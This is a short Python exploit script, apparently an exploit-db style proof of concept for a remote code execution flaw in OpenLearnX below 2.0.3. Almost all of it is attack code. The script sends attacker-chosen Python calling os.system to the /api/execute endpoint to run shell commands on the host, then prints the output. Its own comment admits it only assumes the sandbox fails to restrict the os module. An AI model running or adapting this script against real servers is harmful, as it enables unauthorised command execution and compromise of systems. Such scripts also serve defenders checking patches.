CVE-2026-41900 OpenLearnX 远程代码执行漏洞

import requests # Exploit Title: OpenLearnX < 2.0.3 - Remote Code Execution (RCE) via Sandbox Escape # Date: 2026-05-08 # Exploit Author: Analyst # Vendor Homepage: https://github.com/th30d4y/OpenLearnX # Version: < 2.0.3 # Tested on: Linux/Unix def exploit(target_url, command): """ Exploit function to send malicious payload to OpenLearnX execution environment. """ # The endpoint that handles code execution execute_endpoint = f"{target_url}/api/execute" # Payload designed to break out of the sandbox and execute a shell command # This assumes the sandbox fails to restrict 'os' module or similar primitives malicious_code = f""" import os os.system('{command}') """ payload = { "code": malicious_code, "language": "python" } try: print(f"[*] Sending payload to {execute_endpoint}...") response = requests.post(execute_endpoint, json=payload, timeout=10) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Response from server:") print(response.text) else: print(f"[-] Exploit failed. Server returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") if __name__ == "__main__": # Example usage target = "http://vulnerable-openlearnx-instance.com" cmd = "id" # Command to execute on the host exploit(target, cmd)